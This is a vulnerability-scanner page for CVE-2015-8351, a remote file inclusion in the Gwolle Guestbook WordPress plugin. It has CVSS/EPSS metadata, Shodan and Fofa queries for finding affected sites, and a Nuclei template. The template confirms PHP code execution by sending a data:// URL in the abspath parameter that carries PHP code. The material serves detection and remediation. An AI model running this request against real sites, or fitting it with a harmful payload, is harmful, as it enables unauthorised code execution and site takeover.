SecurityContext

CVE-2015-8351: WordPress Gwolle Guestbook <= 1.5.3 - Remote File Inclusion

Classification

  • Cwe: CWE-94
  • Cvss score: 9
  • Cvss vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Epss score: 0.49619
  • Epss percentile: 0.98922
  • Not known: cpe

Metadata

  • Fofa-query: body="/wp-content/plugins/gwolle-gb/"
  • Max-request: 2
  • Shodan-query: http.html:"/wp-content/plugins/gwolle-gb/"
  • Verified: yes

Labels

  • Name: Gwolle Guestbook - Remote File Inclusion
  • Impact: Authenticated attackers can execute arbitrary PHP code, potentially leading to full site compromise.
  • Remediation: Update to version 1.5.4 or later, and disable allow_url_include in PHP configuration.
  • Vulnerability type: file_inclusion
  • Vulnerability impact: remote_code_execution
  • Requirement type: logged_in
  • Requirements: Attacker needs to be authenticated
  • Labels source: projectdiscovery
  • From cve: CVE-2015-8351

```yaml

id: CVE-2015-8351

info:

name: WordPress Gwolle Guestbook <= 1.5.3 - Remote File Inclusion

author: theamanrawat

severity: critical

description: |

Gwolle Guestbook plugin before 1.5.4 for WordPress contains a remote file inclusion caused by allow_url_include being enabled, letting remote authenticated users execute arbitrary PHP code via URL in abspath parameter, exploit requires user authentication.

impact: |

Authenticated attackers can execute arbitrary PHP code, potentially leading to full site compromise.

remediation: |

Update to version 1.5.4 or later, and disable allow_url_include in PHP configuration.

reference:

- https://www.immuniweb.com/advisory/HTB23275

- https://wpscan.com/vulnerability/65d869e8-5c50-4c82-9101-6b533da0c207/

- https://nvd.nist.gov/vuln/detail/CVE-2015-8351

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

cvss-score: 9

cve-id: CVE-2015-8351

epss-score: 0.49619

epss-percentile: 0.98922

cwe-id: CWE-94

metadata:

verified: true

max-request: 2

shodan-query: 'http.html:"/wp-content/plugins/gwolle-gb/"'

fofa-query: 'body="/wp-content/plugins/gwolle-gb/"'

tags: cve,cve2015,wordpress,wp-plugin,gwolle-gb,rfi,rce,intrusive.vkev

variables:

marker: '{{randstr}}'

flow: http(1) && http(2)

http:

- raw:

- |

GET /wp-content/plugins/gwolle-gb/readme.txt HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: dsl

dsl:

- "status_code == 200"

- "compare_versions(version, '<= 1.5.3')"

- "contains(body, 'Gwolle Guestbook')"

condition: and

internal: true

extractors:

- type: regex

part: body

group: 1

name: version

regex:

- 'Stable tag: ([0-9.]+)'

internal: true

- raw:

- |

GET /wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=data%3A%2F%2Ftext%2Fplain%2C%3C%3Fphp%20echo%20md5%28%27{{marker}}%27%29%3B%20exit%3B%20%3F%3E HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(body, md5(marker))'

condition: and

digest: 490a0046304402204dc06e23bd57aa00ee4bdef746da0b6a311c51e34d235c161e50d2f43ee87cf702206f50da14d3e6a9bac1011717fa20cf07e2edda0e24482a52e817683a0a021178:922c64590222798bb761d5b6d8e72950

```